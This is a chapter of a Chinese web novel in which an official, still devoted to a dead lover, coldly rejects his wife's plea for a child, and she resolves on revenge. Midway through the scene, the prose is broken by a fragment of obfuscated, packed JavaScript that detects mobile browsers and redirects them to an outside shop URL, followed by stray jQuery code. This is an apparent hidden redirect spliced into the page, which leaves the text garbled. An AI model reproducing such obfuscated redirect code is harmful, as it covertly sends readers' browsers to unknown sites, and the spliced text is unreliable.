暮色落在程府上空,红的刺眼。书房里,桌上放着程国恩喜欢吃的菜,喜欢喝的酒。
菜是方嘉慧亲手做的——清炒藕片、红烧鱼、一碗白瓷碗盛着的汤。酒是方嘉慧亲自去地窖挑的!
程府门口,她不断徘徊——她又在等待程国恩归来!她的手指上还缠着细布,那是切菜时留下的伤口。
她已经换了一身干净的家常衣裙,重新梳了头发,还薄薄地施了一层胭脂,让自己看起来不那么憔悴。
这样的等待,她持续了三年多——在江南的县衙门口,在程府的门口,她总是这样等着,盼着他能回头看她一眼。
可是每一次等待,都不曾换来他一丝温情,只有程国恩例行公事的话语。
她与他之间,只要不提及情,一切都安好!可是……
她不知道自己还能等多久,她感觉自己对他的情感正在被一天一天地耗尽,就像一盏没有添油的灯,火苗越来越弱,迟早会彻底熄灭。
终于,他出现在了她的视线里。
暮色中,那个清瘦修长的身影从巷口走来,步伐不疾不徐,衣袍在晚风中微微飘动,身影由远及近,修长而清冷。
她提着裙裾跑向他,脚步声在寂静的街道上格外清晰。
而他看着跑向自己的女人,心中涌起的是厌恶——她跑过来的时候裙角飞扬,脸上还带着一点期盼的笑,和当年宋玉章跑向自己时何其相似。
可正因为相似,他才更恨——为了取悦他,她的言行、穿衣……都在模仿宋玉章。
东施效颦,怎能不心生厌恶?
她的脸上挂着笑容,那笑容里有期盼,有讨好,也有一丝卑微的希冀。
可是,他眼里闪过的那一丝不易察觉的厌恶。那厌恶虽很淡很淡,却真实存在——像一根细针,扎得她的心隐隐作痛。
当她气喘吁吁地靠近他时,程国恩停下脚步,面无表情地看着她。他的目光在她脸上停留了不过一瞬,便移开了。
然后他用一种公事公办的语气说:“后日,我会去看岳父岳母。让他们不必特意准备什么。”
她并不震惊:“母亲说了,公务为重,才是为官之道。夫君不必着急,等你有空了再去也不迟。”
他没有再接话,只是点了点头后,径直走进了府门。
他的背影在暮色中渐行渐远,没有犹豫,没有回头,显得格外清冷而疏离
她站在门口,望着他走远的背影,脸上的挤出的笑意还挂着。
晚风凉了,她打了个寒噤,把笑容收了。其实他的那些话,不过是说给她听的。
他纵使不喜欢她,可京中贵妇之间的圈子还是需要她来维系。她是他名义上的妻子,只要她还挂着程夫人的名头一天,她就得替他在那些他不屑于应付的场合里周旋。
他需要她站在自己身边,扮演一个夫妻和睦的表象,来堵住那些暗处窥探的目光。
再有,他需要,方家更需要。即使他不需要,为了家族利益,她也会主动竭尽全力维持夫妻和睦的表象。
他三年前,他被方家以下作手段绑架,上了方家的船。这条船上有荣华富贵,有青云直上的阶梯,也有一双一双看不见的眼睛在暗中审视着他。
在方家这艘船上,他看清楚了很多事,也看清楚了许多人。他早已将船上所有人的底细摸得一清二楚:
方雍,虽老谋深算,深算,一手遮天多年,朝中半数以上是他的门生故吏,宁国近一半州府的官员,皆是他提携,却年事渐高。那张温文尔雅的面孔下面藏着多少白骨和鲜血,他已经数不清了。
长期的殚精竭虑,那面相一看就不是长寿之相——眼袋浮肿,面色蜡黄,手指在不经意间会微微发颤,偶尔走路时需要扶一下墙。他再精明,也抵不过岁月。
李默,虽忠心方雍,鞍前马后效力多年,却也私心极重。他是方雍最尖锐的刀,可这把刀的手柄上刻的是他自己的名字。方家于他而言是垫脚石,一旦方家站不稳了,他会第一个挪开脚。
方鹏举,小算计多,大智慧全无。他和他父亲差了不止一个层次——方雍是虎,他就是狐,方雍是棋手,他连棋子都算不上。他以为自己把一切都安排得天衣无缝,却不知道他的安排本身就是最大的漏洞。
不过,方鹏举的儿子方继志虽才智过人,年纪轻轻便能为方雍出谋划策,却是好色如命之人。一个连自己裤腰带都管不住的男人,早晚得死在女人的石榴裙下。色字头上一把刀,那刀迟早要落下来。
想要不成为别人的刀,想要做自己的主宰,就得握住别人的咽喉。
永安铁矿和拔钉计划,他在给方雍出谋划策时,还暗中握住方雍的命脉——那些账目、那些私密的往来信件、那些足以让方家满门抄斩的证据,他已经一点一点地收集起来了。
方雍也需要他这一个智囊——这个老狐狸知道程国恩的脑子值多少银子,所以即使他对方嘉慧冷漠如冰,方雍和方鹏举也不会说他半分不是。
他需要方家这一个攀云梯,在朝廷立足。当然,他也知晓方家也会握着他的把柄。
他与方雍是相辅相成,有共同的利益,方家会忍,就像他也在忍一样。
他径直踏进了书房,她也跟了进去,温声说道:“夫君,你还没用晚膳吧?桌上的菜还热着,坐下来吃一些吧。”
他看都没看一眼桌上那些精心准备的饭菜,径直走到书案前坐下,翻开一本公文,淡淡地说了句:“我已经吃过了。”
她闻言,那颗好不容易因为他说“后日去看岳父岳母”而燃起一丝希望的心,又瞬间跌入了冰冷的深渊。
她站在原地愣了很久,嘴唇动了动,想说些什么,最终还是什么都没有说出口。
她走到桌前,弯下腰,伸出微微颤抖的手,将那些她亲手做的、一筷子都没有被动过的饭菜一一端起来。
她的眼泪无声地流下来,滴在盘子的边缘,滴在汤碗里,可她不敢发出任何声音。她就那样流着泪,端着托盘,径直离开了书房,把门轻轻带上。
他没有抬头,只是对着空荡荡的书房说了句:“阿宝,备水。我要沐浴。”
随后,他靠在椅背上,闭上眼。眼前浮现的是玉章的笑脸。她的眼睛那么亮,像富春江的水。他要赶紧洗浴完,然后入睡——在梦里去见玉章。
黑夜沉静。
净房里,水汽氤氲,方嘉慧坐在浴桶中,将身体浸入温热的水里,仔细地清洗着自己。浴桶一旁,放着一件贴身小衣。
那小衣是李芙蓉送给她的,上好的丝绸,绣着若隐若现的暗纹,比平日里穿的要大胆许多。
李芙蓉说,很多时候,女人主动一些,在床上放开一些,男人会喜欢的。她当时接过那件小衣时脸红了一瞬,可今晚,她把它带来了。
今晚,她决定再主动一次。
这三年多来,她主动过很多次,每一次都被他无声地推开。可这一次不一样——这一次她做了最充分的准备,她要最后一次赌一把。
书房里,刚沐浴完的程国恩长发未束,湿漉漉地散在肩上。
他穿着一身黑色睡袍,袍带松松地系着,露出锁骨下一小片被热水蒸得微微泛红的皮肤。他坐在书案前,正奋笔疾书,写着回京述职的公文。
笔锋稳健,字迹工整,和他在富春江上望着远山时那副失魂落魄的模样判若两人。
窗外月色朦胧,月光从窗棂的缝隙里漏进来,洒在他握笔的手上,洒在那一行行刚写下的墨字上。案头上的熏香袅袅升腾,是他从江南带回来的沉水香,气味清幽,令人心神安宁。
他突然放下笔,搁在笔山上,然后站起身走到窗前,推开窗,伸出手,仿佛要触摸这朦胧的月色。
月光穿过他的指缝,落在他那张清冷而俊逸的脸上。他望着那轮明月——同一轮明月,此刻也照在青山上,照在那座新植了几株白梅幼苗的坟前。
“嘎吱——”门响了。
方嘉慧踏进书房。也刚刚沐浴完的她,长发及腰,发梢还带着微微的潮气,披散在肩头和背后。一身青色睡袍裹着她纤细的身形,腰间系着一条同色的丝绦,领口微微敞开,露出里面那件李芙蓉送的小衣的边缘。
他知晓她进来了——那脚步声,那气息,他太熟悉了。可是他并没有回头看,依旧站在窗前,手指还伸在那一片朦胧的月色里,仿佛在接住什么看不见的东西。
她轻步走到他的背后,停下。
两人之间只隔了一步的距离,她能闻到他身上清冽的沉水香,还能感觉到他沐浴后身上残留的温热气息。
她犹豫了一瞬,然后伸出手臂,从背后环住了他的腰,把脸轻轻地贴在他的后背上。她能感觉到他的脊背僵了一下,她闭上眼,声音带着卑微的乞求:“国恩,给我一个孩子,好吗?就今晚——就这一次。”
还是那句话——不爱,就是不爱。那个已经死去的女人,把所有的位置都占满了,连一道缝隙都没有留下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673273|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>他掰开她的手指,一根一根地掰开。那动作不粗暴,却异常坚决,像是解开一道不需要的绳结。然后他转过身,平静地看着她,那目光和看着窗外月色时一样清冷:“嘉慧,我此生只爱玉章一人。你——别白费力气了。”
她抬起头,眼眶里浸满了泪水,旋即哭得梨花带雨,那副楚楚可怜的模样,任谁见了都要心生怜惜。若是换作别的男人,早就将她拥入怀中,怜香惜玉起来。
可是,程国恩如同铁石一般,就那样看着她的眼泪一颗一颗往下掉,脸上没有一丝波澜。
她不甘心。
她拉着他的手臂,手指攥着他的袍袖,声音里带着哭腔,带着压抑了三年多的委屈和不甘:“国恩——我到底哪里比玉章差了?这么多年了,你为什么都不拿正眼瞧我一下?我在你身边守了这么久,你就真的一点都看不见吗?”
他嘴角浮起一抹冷冷的笑意,那笑意里没有嘲讽,只有一种深入骨髓的、对另一个人的忠诚:“你们没有可比性。玉儿早已刻在了我的血肉里——她的眼睛,她的笑容,她说话时微微侧过头的样子,她做清炒藕片时那笨拙又认真的手。在情的世界里,我的心很小很小,只能装得下玉儿一个人。装不下第二个了。”
她眼泪横流,顺着脸颊滑落,滴在他的袍袖上。
她咬着嘴唇,声音颤抖着,几乎是在哀求:“真的不能挤出一个位置——哪怕是一点点位置给我吗?我不求你把整颗心都给我,只求你给我一个小小的角落,让我有个地方可以站,可以吗?”
他的目光落在她的脸上,第一次在这个夜晚认认真真地看了她一眼。可那目光里没有她期盼的任何东西。“不会。”他的声音平静而冰冷,像是冰面下不再流动的深水,“你不配。从你趁我喝醉、爬上我床那天开始,你就不配了。”
她抬起头,望着他,眼睛里的泪水忽然止住了。
她听见了那个字——不配。三年多的忍耐,三年多的等待,三年多的低三下四,在他嘴里不过是这两个字。“国恩,祖父和父亲的逼迫,我也是不得已的。你知道的——我生在这样的家里,我能有什么选择?”她的声音开始发抖。
他收回冷笑,目光平静地注视着她:“既然是不得已,那就得吞下不得已的苦果。每个人都要为自己的选择付出代价——你是如此,我也是如此。这世上没有什么便宜事,你选了一样,就得舍下另一样。”
她听了,抬手拭去泪水。
那动作很轻,很慢。泪水擦干之后,她的眼睛变得清明起来,那里面不再有卑微,不再有哀求,只有一种被逼到悬崖边上之后才会有的、冷冷的平静。“国恩,就算是一块石头,这么多年都捂热了。国恩,我最后问你一句——这么多年,你对我,当真的没有任何情意吗?”
他毫无波澜地看着她,斩钉截铁:“我只爱玉儿一人。其他的女人于我而言,什么都不是。”他说完这句话时,窗外的月光忽然被一片云遮住了,书房里暗了一瞬。
她听了,长长地叹了一口气。
那口气从胸腔最深处被缓缓吐出来,像是把这三年来所有的期盼、所有的不甘、所有的委屈都一并吐了个干净。
然后她笑了起来,一边笑一边说道:“好,很好。既然如此,我们之间——就这样吧。”
她的声音有些冷,有些寒,像是在月光下结了冰的湖面。那笑意里没有了从前的温柔和卑微,取而代之的是一种被彻底掏空之后重新长出来的、坚硬的东西。
可是,无论是冷是寒,于程国恩而言,都已无关紧要。
他转过身,重新走到窗前,望着那片被云遮住的月光。身后传来轻轻的脚步声和门被关上的声音。书房里重新安静下来,只剩檀香的余烟在月光里袅袅地升。
他低下头,看着自己摊开的手掌——刚才掰开她手指的那只手。他赶紧用手帕擦了擦。玉儿,别生气。他把拳头抵在胸口,闭上了眼。
她走回自己的房间,关上门,靠在门板上。脸上的泪痕已经干了,取而代之的是一种从未有过的、近乎冷厉的平静。
她低头看了一眼自己精心挑选的那件贴身小衣——那丝绸在月光下泛着幽幽的暗光,像一朵开在无人之地的花,永远也不会有人来欣赏。她忽然伸手,将它从身上扯了下来,揉成一团,扔在了地上。
够了。真的够了。
这一场与死人的对决,她又输了!
伪装了三年多的似水温柔卸下,她眼底升腾起报复之意——